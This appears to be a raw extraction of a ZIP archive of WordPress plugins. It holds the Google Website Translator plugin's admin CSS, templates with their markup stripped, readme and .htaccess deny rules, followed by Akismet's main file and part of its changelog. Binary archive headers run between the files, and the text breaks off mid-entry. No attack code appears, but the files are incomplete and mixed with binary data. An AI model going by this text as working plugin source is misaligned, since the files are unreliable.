#section_prisna_custom_parent .prisna_gwt_tooltip { top: 19px; } .prisna_gwt_selected_layout_dropdown #section_prisna_custom_location_insert_mode + #section_prisna_custom_parent { padding: 10px 0 0 !important; } .prisna_gwt_section_tabbed_2 + .prisna_gwt_section_tabbed_1 { padding-top: 5px !important; background-position: 7px 8px !important; } .prisna_gwt_section_tabbed_2 .prisna_gwt_tooltip, .prisna_gwt_section_tabbed_2 + .prisna_gwt_section_tabbed_1 .prisna_gwt_tooltip { top: 14px !important; } .prisna_gwt_section_tabbed_1 { padding-left: 20px; background-image: url(../images/tabbed_1.png); background-repeat: repeat-y; background-position: 7px 3px; } .prisna_gwt_section_tabbed_2 { padding-left: 40px; background-image: url(../images/tabbed_2.png); background-repeat: repeat-y; background-position: 7px 8px; padding-top: 5px !important; padding-bottom: 5px !important; margin-top: -5px !important; } .prisna_gwt_section_tabbed_3 { padding-left: 60px; background-image: url(../images/tabbed_3.png); background-repeat: repeat-y; background-position: 7px 3px; } .prisna_gwt_loading { background-image: url(../images/wpspin_light.gif); background-repeat: no-repeat; background-position: 0 center; width: 16px; height: 16px; } .prisna_gwt_title_container { background-color: rgb(238, 238, 238); -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; margin-bottom: 8px !important; border: 1px solid #ddd !important; } .prisna_gwt_title { font-family: Arial, Helvetica, sans-serif; font-size: 17px; font-weight: normal !important; letter-spacing: 0.8px; border-left: 1px solid #ddd; background: #f9f9f9; margin: 0 0 10px 33px; padding: 0 0 0 10px; line-height: 33px; margin-bottom: 0 !important; color: #555 !important; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; } .prisna_gwt_title_10 { clear: both; padding-top: 10px; } .prisna_gwt_language .prisna_gwt_title { margin-bottom: 7px; } .prisna_gwt_field { float: left; } .prisna_gwt_field input { float: left; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; } .prisna_gwt_field textarea { -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; } .prisna_gwt_field a { text-decoration: none; } .prisna_gwt_field a:hover { text-decoration: underline; } .prisna_gwt_description ol { font-size: 11px; color: #fff; } .prisna_gwt_description { font-size: 11px; padding: 10px 12px; width: 435px; line-height: 14px; z-index: 1000; border: 1px solid #ccc; color: #555; -moz-border-radius: 2px; -webkit-border-radius: 2px; border-radius: 2px; background-color: #fff; } .prisna_gwt_description a { color: #555; } .prisna_gwt_description code { background: #fff; color: #333; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; padding: 2px 5px; } .prisna_gwt_code_container { width: 425px; background: #222; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; padding: 2px 5px; } .prisna_gwt_code_container code { background: none; color: #fff; -moz-border-radius: 0px; -webkit-border-radius: 0px; border-radius: 0px; padding: 0; } .prisna_gwt_clear { clear: both; } .prisna_gwt_submit_top_container { position: absolute; right: 15px; top: 0; } .prisna_gwt_submit_container { border-top: 1px solid #bcbcbc; padding: 10px; background: #f1f1f1; -moz-border-radius-bottomleft: 2px; -webkit-border-bottom-left-radius: 2px; border-bottom-left-radius: 2px; -moz-border-radius-bottomright: 2px; -webkit-border-bottom-right-radius: 2px; border-bottom-right-radius: 2px; } .prisna_gwt_submit_container td { padding-right: 10px; } .prisna_gwt_submit_container form { margin: 0; padding: 0; } .prisna_gwt_submit_sub_container { text-align: left; } .prisna_gwt_submit_sub_container form { display: inline; } .prisna_gwt_range .prisna_gwt_field { } .prisna_gwt_field_range { margin-top: 8px; height: 4px; border: 1px solid #ccc; position: relative; float: left; width: 548px; background: #f6f6f6; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 5px; } .prisna_gwt_field_range a { top: -9px; height: 20px; position: absolute; width: 4px; z-index: 2; border: 1px solid #ccc; background: #f6f6f6; -moz-border-radius: 5px; -webkit-border-radius: 5px; border-radius: 2px; margin-left: -3px; } .prisna_gwt_field_unit { float: left; margin-left: 5px; line-height: 23px; } .prisna_gwt_field_unit_alt { float: left; margin-right: 5px; line-height: 23px; } .prisna_gwt_field_unit small, .prisna_gwt_field_unit_alt small { color: #444; } .prisna_gwt_toggle_container { float: left; margin-right: 20px; } .prisna_gwt_range .prisna_gwt_field input { background: #fff; float: left; margin-left: 5px !important; width: 80px; } .prisna_gwt_field_range .ui-state-hover, .prisna_gwt_field_range .ui-state-active { background: #fff; } .prisna_gwt_expage td, .prisna_gwt_expost td, .prisna_gwt_excategory td { padding-right: 2px; } .prisna_gwt_sub_section { margin-top: 5px; } .prisna_gwt_sub_section_group_controls_advanced:hover { color: #444; } .prisna_gwt_sub_section_group_controls_advanced_closed { background-position: 5px 3px; } .prisna_gwt_sub_section_group_controls_advanced_closed:hover { background-position: 5px -13px; } .prisna_gwt_sub_section_group_controls_advanced_opened { background-position: 5px -29px; } .prisna_gwt_sub_section_group_controls_advanced_opened:hover { background-position: 5px -45px; } /* ============================= tabs ================================== */ .prisna_gwt_ui_tab { float: left; text-align: center; white-space: nowrap; list-style: none; padding: 0; line-height: 35px; font-family: 'bebas_neueregular', Arial, Helvetica, sans-serif; font-size: 18px; letter-spacing: 0.8px; color: #777; } .prisna_gwt_ui_tab:hover { color: #333; } .prisna_gwt_ui_tab_unselected { cursor: pointer; } .prisna_gwt_ui_tab_selected { color: #fff !important; background: #32373c; -webkit-border-top-left-radius: 2px; -webkit-border-top-right-radius: 2px; -moz-border-radius-topleft: 2px; -moz-border-radius-topright: 2px; border-top-left-radius: 2px; border-top-right-radius: 2px; } .prisna_gwt_ui_tab_selected:hover { } .prisna_gwt_ui_tab_last { border-right: 1px solid #8a8a8a; } .prisna_gwt_ui_tab_important { color: #ffffff; background: #ff0000; } .prisna_gwt_ui_tab_separator { float: left; width: 10px; } .prisna_gwt_ui_tabs_container.prisna_gwt_ui_tabs_container_alt { width: 776px; } .prisna_gwt_ui_tabs_container { float: left; width: 798px; height: 30px; margin: 0 auto; } .prisna_gwt_ui_tabs_container ul { height: 37px; margin: 0; padding: 0 0 0 0; } .prisna_gwt_ui_tabs_container ul li.prisna_gwt_ui_tab_selected { } .prisna_gwt_ui_tabs_container ul li span { float: left; height: 31px; } .prisna_gwt_ui_tabs_container ul li span { padding: 0 0 0 15px; } .prisna_gwt_ui_tabs_container ul li span span { padding: 0 15px 0 0; } .prisna_gwt_ui_tabs_container ul li.prisna_gwt_ui_tab_selected span { } .prisna_gwt_ui_tabs_container ul li.prisna_gwt_ui_tab_selected span span { } .prisna_gwt_ui_tabs_main_container { clear: both; text-align: center; top: 0; left: 0; } .prisna_gwt_ui_tab_container { clear: both; text-align: center; } .prisna_gwt_ui_tab_content { text-align: left; padding: 10px 10px 10px 10px; margin: 0 auto; } .prisna_gwt_ui_tab_content_alt { text-align: left; padding: 10px; margin: 0 auto; } .prisna_gwt_ui_tab_content_table { width: 515px; margin: 10px auto; } .prisna_gwt_ui_tab_content_table_no_margin_bottom { width: 515px; margin: 10px auto 0px auto; } .prisna_gwt_ui_tab_content_table_property { font-weight: bold; text-align: right; width: 162px; line-height: 26px; } .prisna_gwt_ui_tab_content_table_property_long { font-weight: bold; text-align: right; width: 265px; line-height: 26px; } .prisna_gwt_ui_tab_content_table_property_long_complement { width: 250px; } .prisna_gwt_ui_next_tab_container { padding: 10px; margin: 0px auto 40px auto; border-top: 1px solid #8a8a8a; } .prisna_gwt_ui_subtabs_container { margin: 0 10px; } .prisna_gwt_ui_unique_tab_container { vertical-align: top; width: 113px; padding-right: 10px; } .prisna_gwt_ui_unique_tab_container_no_width { vertical-align: top; padding-right: 10px; } .prisna_gwt_ui_single_tab_content_table { margin: 10px auto; } .prisna_gwt_ui_single_tab_content_table_property { font-weight: bold; text-align: right; line-height: 26px; } .prisna_gwt_z_index_1 { z-index: 1; } .prisna_gwt_z_index_3 { z-index: 3; } #prisna_admin { min-height: 1110px; } .prisna_gwt_heading.prisna_gwt_heading_hiding .prisna_gwt_icon { background-position: -154px -479px !important; } .prisna_gwt_heading.prisna_gwt_heading_showing .prisna_gwt_icon { background-position: -190px -479px !important; } #prisna_custom_css { float: left; } #section_prisna_custom_css { padding-bottom: 0; } #section_prisna_languages_order .prisna_gwt_icon { background-position: -82px -370px !important; } #section_prisna_exclude_categories .prisna_gwt_icon, #section_prisna_exclude_posts .prisna_gwt_icon, #section_prisna_exclude_pages .prisna_gwt_icon { background-position: -119px -119px !important; } #section_prisna_align_mode .prisna_gwt_icon { background-position: -154px -262px !important; } #section_prisna_custom_css .prisna_gwt_icon { background-position: -190px -262px !important; } #section_prisna_test_mode .prisna_gwt_icon { background-position: -47px -155px !important; } #section_prisna_on_before_load .prisna_gwt_icon, #section_prisna_on_after_load .prisna_gwt_icon, #section_prisna_custom_html .prisna_gwt_icon, #section_prisna_flags_container_template .prisna_gwt_icon, #section_prisna_flag_template .prisna_gwt_icon { background-position: -46px -479px !important; } #prisna_premium_frame { overflow: hidden; width: 778px !important; height: 2680px !important; } .prisna_gwt_icon { background-image: url(../images/sprites.png); background-repeat: no-repeat; } .prisna_gwt_icon_search { background-position: -10px -11px; } .prisna_gwt_icon_trash { background-position: -47px -12px; } .prisna_gwt_icon_flag { background-position: -82px -12px; } .prisna_gwt_icon_home { background-position: -119px -12px; } .prisna_gwt_icon_link { background-position: -154px -12px; } .prisna_gwt_icon_book { background-position: -190px -12px; } .prisna_gwt_icon_mail { background-position: -10px -47px; } .prisna_gwt_icon_help { background-position: -47px -47px; } .prisna_gwt_icon_rss { background-position: -82px -47px; } .prisna_gwt_icon_archive { background-position: -119px -47px; } .prisna_gwt_icon_info { background-position: -154px -47px; } .prisna_gwt_icon_bell { background-position: -190px -47px; } .prisna_gwt_icon_world { background-position: -10px -83px; } .prisna_gwt_icon_bulb { background-position: -47px -83px; } .prisna_gwt_icon_cloud { background-position: -82px -83px; } .prisna_gwt_icon_clip { background-position: -119px -83px; } .prisna_gwt_icon_folder { background-position: -154px -83px; } .prisna_gwt_icon_lock { background-position: -190px -83px; } .prisna_gwt_icon_tag { background-position: -10px -119px; } .prisna_gwt_icon_note { background-position: -47px -119px; } .prisna_gwt_icon_key { background-position: -82px -119px; } .prisna_gwt_icon_stop { background-position: -119px -119px; } .prisna_gwt_icon_airplane { background-position: -154px -119px; } .prisna_gwt_icon_info2 { background-position: -190px -119px; } .prisna_gwt_icon_alarm { background-position: -10px -155px; } .prisna_gwt_icon_clock { background-position: -47px -155px; } .prisna_gwt_icon_calendar { background-position: -82px -155px; } .prisna_gwt_icon_basket { background-position: -119px -155px; } .prisna_gwt_icon_dollartag { background-position: -154px -155px; } .prisna_gwt_icon_cart { background-position: -190px -155px; } .prisna_gwt_icon_cart2 { background-position: -10px -191px; } .prisna_gwt_icon_user { background-position: -47px -191px; } .prisna_gwt_icon_users { background-position: -82px -191px; } .prisna_gwt_icon_male { background-position: -119px -191px; } .prisna_gwt_icon_female { background-position: -154px -191px; } .prisna_gwt_icon_refresh { background-position: -190px -191px; } .prisna_gwt_icon_chart { background-position: -10px -227px; } .prisna_gwt_icon_pie { background-position: -47px -227px; } .prisna_gwt_icon_address { background-position: -82px -227px; } .prisna_gwt_icon_zip { background-position: -119px -227px; } .prisna_gwt_icon_document { background-position: -154px -227px; } .prisna_gwt_icon_pdf { background-position: -190px -227px; } .prisna_gwt_icon_marker { background-position: -10px -262px; } .prisna_gwt_icon_sign { background-position: -47px -262px; } .prisna_gwt_icon_notex { background-position: -82px -262px; } .prisna_gwt_icon_cut { background-position: -119px -262px; } .prisna_gwt_icon_pencil { background-position: -154px -262px; } .prisna_gwt_icon_paint { background-position: -190px -262px; } .prisna_gwt_icon_battery { background-position: -10px -299px; } .prisna_gwt_icon_battery2 { background-position: -47px -299px; } .prisna_gwt_icon_chat { background-position: -82px -299px; } .prisna_gwt_icon_chat2 { background-position: -119px -299px; } .prisna_gwt_icon_message { background-position: -154px -299px; } .prisna_gwt_icon_message2 { background-position: -190px -299px; } .prisna_gwt_icon_phone { background-position: -10px -335px; } .prisna_gwt_icon_call { background-position: -47px -335px; } .prisna_gwt_icon_inbox { background-position: -82px -335px; } .prisna_gwt_icon_inboxo { background-position: -119px -335px; } .prisna_gwt_icon_inboxi { background-position: -154px -335px; } .prisna_gwt_icon_bluetooth { background-position: -190px -335px; } .prisna_gwt_icon_wifi { background-position: -10px -370px; } .prisna_gwt_icon_settings { background-position: -47px -370px; } .prisna_gwt_icon_settings2 { background-position: -82px -370px; } .prisna_gwt_icon_settings3 { background-position: -119px -370px; } .prisna_gwt_icon_hd { background-position: -154px -370px; } .prisna_gwt_icon_hd2 { background-position: -190px -370px; } .prisna_gwt_icon_image { background-position: -10px -408px; } .prisna_gwt_icon_image2 { background-position: -47px -408px; } .prisna_gwt_icon_sound { background-position: -82px -408px; } .prisna_gwt_icon_media { background-position: -119px -408px; } .prisna_gwt_icon_mic { background-position: -154px -408px; } .prisna_gwt_icon_print { background-position: -190px -408px; } .prisna_gwt_icon_laptop { background-position: -10px -443px; } .prisna_gwt_icon_mouse { background-position: -47px -443px; } .prisna_gwt_icon_camera { background-position: -82px -443px; } .prisna_gwt_icon_video { background-position: -119px -443px; } .prisna_gwt_icon_grid { background-position: -154px -443px; } .prisna_gwt_icon_grid2 { background-position: -191px -443px; } .prisna_gwt_icon_list { background-position: -10px -480px; } .prisna_gwt_icon_list2 { background-position: -46px -479px; } .prisna_gwt_icon_table { background-position: -82px -480px; }PK/—[³yd«cc*google-website-translator/styles/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK/—[wIÅÙÙ=google-website-translator/templates/admin/checkbox_option.tplnu„[µü¤ PK/—[OÖ~§ÆÆ6google-website-translator/templates/admin/checkbox.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ collection_formatted }}
      PK/—[¨Of€€Agoogle-website-translator/templates/admin/exclude_item_option.tplnu„[µü¤
      PK/—[K üƒÈÈ:google-website-translator/templates/admin/exclude_item.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ collection_formatted }}
      PK/—[š¦T…&&4google-website-translator/templates/admin/export.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      PK/—[L±]6……7google-website-translator/templates/admin/heading_2.tplnu„[µü¤
      {{ description.true:begin }}
      {{ description_message }}
      {{ description.true:end }}

      {{ title_message }}

      PK/—[ÞŸ)ÎËË5google-website-translator/templates/admin/heading.tplnu„[µü¤
      {{ description.true:begin }}
      {{ description_message }}
      {{ description.true:end }}

      {{ title_message }}

      PK/—[r¾·ÍCCCgoogle-website-translator/templates/admin/language_option_group.tplnu„[µü¤
      {{ collection }}
      PK/—[ׂ;7``=google-website-translator/templates/admin/language_option.tplnu„[µü¤
      • {{ value }} {{ value }}
      PK/—[;œ ÞGGIgoogle-website-translator/templates/admin/language_order_option_group.tplnu„[µü¤
        {{ collection }}
      PK/—[ð±‡í‡‡Cgoogle-website-translator/templates/admin/language_order_option.tplnu„[µü¤
    • {{ value }} {{ value }}
    • PK/—[+¤D;::6google-website-translator/templates/admin/language.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ collection_formatted }}
      {{ order.show.true:begin }}
      {{ description_order_message }}

      {{ title_order_message }}

      {{ collection_order_formatted }}
      {{ order.show.true:end }}PK/—[¨7<ÐÐ7google-website-translator/templates/admin/main_form.tplnu„[µü¤
      Prisna: {{ title_message }}
      {{ wp_version_check.false:begin }}

      {{ wp_version_check_fail_message }}

      {{ wp_version_check.false:end }} {{ just_saved.true:begin }}

      {{ saved_message }}

      {{ just_saved.true:end }} {{ just_imported_success.true:begin }}

      {{ advanced_import_success_message }}

      {{ just_imported_success.true:end }} {{ just_imported_fail.true:begin }}

      {{ advanced_import_fail_message }}

      {{ just_imported_fail.true:end }} {{ just_reseted.true:begin }}

      {{ reseted_message }}

      {{ just_reseted.true:end }}
      • {{ general_message }}
      • {{ advanced_message }}
      • {{ premium_message }}
      {{ group_1 }}
      • {{ advanced_general_message }}
      • {{ advanced_import_export_message }}
      {{ group_2 }}
      {{ group_3 }}
      {{ group_4 }}
      {{ nonce }}
      PK/—[FZ=ããwãw5google-website-translator/templates/admin/premium.tplnu„[µü¤
      {{ banner.true:begin }} {{ banner.true:end }}

      The Ultimate WordPress Automatic Translation Plugin

      The latest and most modern automatic translation plugin, and it's SEO enabled too.
      Special discount for Google Website Translator by Prisna.net users!

      Responsive

      Prisna Translate works perfectly on all screens, as it allows to select what languages to display depending on the screen resolution.


       

      SEO
      permalinks titles alts

      Increase your traffic and become more popular in different tongues, since cached translations can be indexed by search engines with just a couple of clicks.


      Powerful Admin Interface

      It comes with a very intuitive, easy to use admin interface. There are simple options like selecting the available languages and show/hide flags; and advanced options such as JavaScript callbacks.




      4 Available sizes to choose from
      + unlimited color options

           There are 4 ready made sizes to choose from to perfectly integrate in your template's design. Plus you can use the unlimited color options to better adjust the design.


      Note: External images displayed on this tab are loaded from Google Drive only.
      PK/—[=Wð¥çç:google-website-translator/templates/admin/radio_option.tplnu„[µü¤ PK/—[°?(663google-website-translator/templates/admin/radio.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ collection_formatted }}
      PK/—[‹fh±öö3google-website-translator/templates/admin/range.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ unit }}
      {{ has_dependence.true:begin }} {{ has_dependence.true:end }}
      PK/—[×±8xx;google-website-translator/templates/admin/select_option.tplnu„[µü¤ PK/—[èUL²kk8google-website-translator/templates/admin/select_raw.tplnu„[µü¤ PK/—[èUL²kk;google-website-translator/templates/admin/select_single.tplnu„[µü¤ PK/—[6uWW4google-website-translator/templates/admin/select.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ has_dependence.true:begin }} {{ has_dependence.true:end }}
      PK/—[” ‡„6google-website-translator/templates/admin/textarea.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      PK/—[["ކII2google-website-translator/templates/admin/text.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ has_dependence.true:begin }} {{ has_dependence.true:end }}
      PK/—[ûD›‹~~4google-website-translator/templates/admin/toggle.tplnu„[µü¤
      {{ description_message }}

      {{ title_message }}

      {{ has_dependence.true:begin }} {{ has_dependence.true:end }}
      PK/—[K6Y,,3google-website-translator/templates/admin/usage.tplnu„[µü¤

      {{ title_message }}

      {{ value }}
      PK/—[øƒÝËË;google-website-translator/templates/admin/visual_option.tplnu„[µü¤
      PK/—[rÒ5 CC4google-website-translator/templates/admin/visual.tplnu„[µü¤
      {{ description.true:begin }}
      {{ description_message }}
      {{ description.true:end }} {{ title.true:begin }}

      {{ title_message }}

      {{ title.true:end }}
      {{ collection_formatted }}
      PK/—[³yd«cc3google-website-translator/templates/admin/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK/—[@\΢ ¢ ,google-website-translator/templates/main.tplnu„[µü¤ {{ exclude_selector.empty.false:begin }} {{ exclude_selector.empty.false:end }} {{ on_before_load.empty.false:begin }} {{ on_before_load.empty.false:end }} {{ has_flags.true:begin }} {{ flags_formatted }} {{ has_flags.true:end }} {{ has_container.true:begin }}
      {{ has_container.true:end }} PK/—[³yd«cc-google-website-translator/templates/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK/—[Jn7google-website-translator/google-website-translator.phpnu„[µü¤PK/—[¢<$­®®$google-website-translator/readme.txtnu„[µü¤=== Google Website Translator === Contributors: Prisna Tags: translate wordpress, multilingual, translate, translation, google translate, bilingual, automatic translate, google website translator, google translator, google language translator, language translate, language translator, multi language, translate, translation Stable tag: 1.4.2 Requires at least: 3.3 Tested up to: 5.2 License: GPL2+ License URI: http://www.gnu.org/licenses/gpl-2.0.html Easily translate your WordPress site into 100+ languages to make it multilingual. A simple and complete multilingual solution for WordPress. == Description == This plugin brings the power of Google's automatic translation service to translate your website into 100+ languages. A simple and complete multilingual solution for WordPress. = Features: = * Easy set up, including simple settings with inline help that everybody can understand. * Include all the [3 inline](http://www.prisna.net/images/google-website-translator/inline-mode.png) and all the [4 tabbed](http://www.prisna.net/images/google-website-translator/tabbed-mode.png) styles. * Select the available languages. * Use it as a widget and as a shortcode. * Practically null impact on page loads. * Import/Export settings to easily transfer configurations. * For feature requests, please [contact us](https://www.prisna.net/contact-us/). = Support: = * Create a ticket here in the WordPress support forum: [https://wordpress.org/support/plugin/google-website-translator](https://wordpress.org/support/plugin/google-website-translator) * Or you can also ask for assistance directly from our website: [https://www.prisna.net/contact-us/](https://www.prisna.net/contact-us/) = Advantages over similar plugins: = There are a number of Google translation plugins in this great repository. However, most of them haven't been carefully built. Here's a list of reasons of why you should choose this plugin: * All the settings are stored in only one record in the database; whilst other plugins use lots of records. * It's the fastest as it doesn't load any external file; whilst other plugins load unnecessary javascript and css files. * It includes all the options of the original [Google Website Translator](https://translate.google.com/manager/website/); whilst other plugins offer just a restricted version. * Prisna Ltd. is a real company ([register record](https://www.prisna.net/images/prisna-limited.pdf)), with professional people working on it. == Installation == 1. Go to the WordPress admin panel. 1. Click *Plugins*, then *Add New*, then *Upload Plugin*. 1. Select the downloaded zip file, install it and activate it. 1. A new entry will appear under the *Plugins* main menu: *Google Website Translator by Prisna*. 1. Set options at will. 1. Either go to the *Widgets* admin page, or use the shortcode on your pages, posts, categories and any other WordPress resource. == Frequently Asked Questions == = What are the supported languages? = Afrikaans, Albanian, Arabic, Armenian, Azerbaijani, Basque, Belarusian, Bengali, Bosnian, Bulgarian, Catalan, Cebuano, Chichewa, Chinese Simplified, Chinese Traditional, Croatian, Czech, Danish, Dutch, English, Esperanto, Estonian, Filipino, Finnish, French, Galician, Georgian, German, Greek, Gujarati, Haitian Creole, Hausa, Hebrew, Hindi, Hmong, Hungarian, Icelandic, Igbo, Indonesian, Irish, Italian, Japanese, Javanese, Kannada, Kazakh, Khmer, Korean, Lao, Latin, Latvian, Lithuanian, Macedonian, Malagasy, Malay, Malayalam, Maltese, Maori, Marathi, Mongolian, Burmese, Nepali, Norwegian, Persian, Polish, Portuguese, Punjabi, Romanian, Russian, Serbian, Sesotho, Sinhala, Slovak, Slovenian, Somali, Spanish, Sundanese, Swahili, Swedish, Tajik, Tamil, Telugu, Thai, Turkish, Ukrainian, Urdu, Uzbek, Vietnamese, Welsh, Yiddish, Yoruba and Zulu. = How can I exclude some parts from being translated? = You should go to: Advanced > General > Exclude selector (jQuery) Enter a *jQuery* selector to specify the area(s) you'd like to exclude from translation. Alternatively, you can add the *notranslate* style class to the container HTML element. Or if you want to exclude just a piece of text, you should wrap it within a HTML element with the *notranslate* style class, for instance: <span class="notranslate">Company name</span> = I have a lot of plugins, will this plugin slow down my website? = This plugin has a lot of options for you to customize it in the best possible way. All these options are saved in only one database record (yes, only one!). So you can rest assured it won't slow down your website. Sometimes your website slows down when you use more and more plugins, because most likely they haven't been built carefully. If you have some understanding of code, you can search for the *add_option* function within your plugins files to check on this matter. = Google translate is not free, do I need to pay any money to use this plugin? = No, you don't need to pay anything. Even though Google translate isn't free anymore, Google has created a free translation widget for everybody to use. This plugin brings you that widget for you to easily use it in your WordPress powered website. = What kind of support do you provide? = Support includes: * Responding to questions or problems regarding the plugin and its features. * Fixing bugs and reported issues. * Providing updates to ensure compatibility with new WordPress versions. == Screenshots == 1. General admin panel (inline). 2. General admin panel (tabbed). 3. Advanced admin panel. 4. Import/Export admin panel. 5. Go premium panel. == Changelog == = 1.4 = Release date: September 20th, 2017 * 13 new languages: Amharic, Corsican, Frisian, Hawaiian, Kurdish, Kyrgyz, Luxembourgish, Pashto, Samoan, Scots Gaelic, Shona, Sindhi and Xhosa. = 1.3 = Release date: April 26th, 2016 * Ability to define a jQuery selector to exclude elements from translation. = 1.2 = Release date: December 10th, 2015 * Ability to define a new javascript function: on before load. * Ability to define a new javascript function: on after load. = 1.1 = Release date: November 19th, 2015 * 29 new languages: Armenian, Bengali, Bosnian, Burmese, Cebuano, Chichewa, Hausa, Hmong, Igbo, Javanese, Kazakh, Khmer, Lao, Malagasy, Malayalam, Maltese, Maori, Marathi, Mongolian, Nepali, Punjabi, Sesotho, Sinhala, Somali, Tajik, Uzbek, Yoruba and Zulu. * Combined flags into one single image file. * Higher quality flags. = 1.0 = Release date: September 29th, 2014 == Upgrade Notice == = 1.0 = * Initial release.PK/—[¨h…ø¸'google-website-translator/uninstall.phpnu„[µü¤ Order Allow,Deny Deny from all PK/—[³yd«ccakismet/.htaccessnuÏÃ6Ç$ Order Allow,Deny Deny from all PK/—[-Œ²ï ï akismet/akismet.phpnu„[µü¤protect your blog from spam. It keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 4.1.9 Author: Automattic Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2015 Automattic, Inc. */ // Make sure we don't expose any info if called directly if ( !function_exists( 'add_action' ) ) { echo 'Hi there! I\'m just a plugin, not much I can do when called directly.'; exit; } define( 'AKISMET_VERSION', '4.1.9' ); define( 'AKISMET__MINIMUM_WP_VERSION', '4.0' ); define( 'AKISMET__PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AKISMET_DELETE_LIMIT', 100000 ); register_activation_hook( __FILE__, array( 'Akismet', 'plugin_activation' ) ); register_deactivation_hook( __FILE__, array( 'Akismet', 'plugin_deactivation' ) ); require_once( AKISMET__PLUGIN_DIR . 'class.akismet.php' ); require_once( AKISMET__PLUGIN_DIR . 'class.akismet-widget.php' ); require_once( AKISMET__PLUGIN_DIR . 'class.akismet-rest-api.php' ); add_action( 'init', array( 'Akismet', 'init' ) ); add_action( 'rest_api_init', array( 'Akismet_REST_API', 'init' ) ); if ( is_admin() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { require_once( AKISMET__PLUGIN_DIR . 'class.akismet-admin.php' ); add_action( 'init', array( 'Akismet_Admin', 'init' ) ); } //add wrapper class around deprecated akismet functions that are referenced elsewhere require_once( AKISMET__PLUGIN_DIR . 'wrapper.php' ); if ( defined( 'WP_CLI' ) && WP_CLI ) { require_once( AKISMET__PLUGIN_DIR . 'class.akismet-cli.php' ); } PK/—[™>9aSOSOakismet/changelog.txtnu„[µü¤=== Akismet Anti-Spam === == Archived Changelog Entries == This file contains older changelog entries, so we can keep the size of the standard WordPress readme.txt file reasonable. For the latest changes, please see the "Changelog" section of the [readme.txt file](https://plugins.svn.wordpress.org/akismet/trunk/readme.txt). = 4.1.5 = *Release Date - 29 April 2020* * Based on user feedback, we have dropped the in-admin notice explaining the availability of the "privacy notice" option in the AKismet settings screen. The option itself is available, but after displaying the notice for the last 2 years, it is now considered a known fact. * Updated the "Requires at least" to WP 4.6, based on recommendations from https://wp-info.org/tools/checkplugini18n.php?slug=akismet * Moved older changelog entries to a separate file to keep the size of this readme reasonable, also based on recommendations from https://wp-info.org/tools/checkplugini18n.php?slug=akismet = 4.1.4 = *Release Date - 17 March 2020* * Only redirect to the Akismet setup screen upon plugin activation if the plugin was activated manually from within the plugin-related screens, to help users with non-standard install workflows, like WP-CLI. * Update the layout of the initial setup screen to be more readable on small screens. * If no API key has been entered, don't run code that expects an API key. * Improve the readability of the comment history entries. * Don't modify the comment form HTML if no API key has been set. = 4.1.3 = *Release Date - 31 October 2019* * Prevented an attacker from being able to cause a user to unknowingly recheck their Pending comments for spam. * Improved compatibility with Jetpack 7.7+. * Updated the plugin activation page to use consistent language and markup. * Redirecting users to the Akismet connnection/settings screen upon plugin activation, in an effort to make it easier for people to get setup. = 4.1.2 = *Release Date - 14 May 2019* * Fixed a conflict between the Akismet setup banner and other plugin notices. * Reduced the number of API requests made by the plugin when attempting to verify the API key. * Include additional data in the pingback pre-check API request to help make the stats more accurate. * Fixed a bug that was enabling the "Check for Spam" button when no comments were eligible to be checked. * Improved Akismet's AMP compatibility. = 4.1.1 = *Release Date - 31 January 2019* * Fixed the "Setup Akismet" notice so it resizes responsively. * Only highlight the "Save Changes" button in the Akismet config when changes have been made. * The count of comments in your spam queue shown on the dashboard show now always be up-to-date. = 4.1 = *Release Date - 12 November 2018* * Added a WP-CLI method for retrieving stats. * Hooked into the new "Personal Data Eraser" functionality from WordPress 4.9.6. * Added functionality to clear outdated alerts from Akismet.com. = 4.0.8 = *Release Date - 19 June 2018* * Improved the grammar and consistency of the in-admin privacy related notes (notice and config). * Revised in-admin explanation of the comment form privacy notice to make its usage clearer. * Added `rel="nofollow noopener"` to the comment form privacy notice to improve SEO and security. = 4.0.7 = *Release Date - 28 May 2018* * Based on user feedback, the link on "Learn how your comment data is processed." in the optional privacy notice now has a `target` of `_blank` and opens in a new tab/window. * Updated the in-admin privacy notice to use the term "comment" instead of "contact" in "Akismet can display a notice to your users under your comment forms." * Only show in-admin privacy notice if Akismet has an API Key configured = 4.0.6 = *Release Date - 26 May 2018* * Moved away from using `empty( get_option() )` to instantiating a variable to be compatible with older versions of PHP (5.3, 5.4, etc). = 4.0.5 = *Release Date - 26 May 2018* * Corrected version number after tagging. Sorry... = 4.0.4 = *Release Date - 26 May 2018* * Added a hook to provide Akismet-specific privacy information for a site's privacy policy. * Added tools to control the display of a privacy related notice under comment forms. * Fixed HTML in activation failure message to close META and HEAD tag properly. * Fixed a bug that would sometimes prevent Akismet from being correctly auto-configured. = 4.0.3 = *Release Date - 19 February 2018* * Added a scheduled task to remove entries in 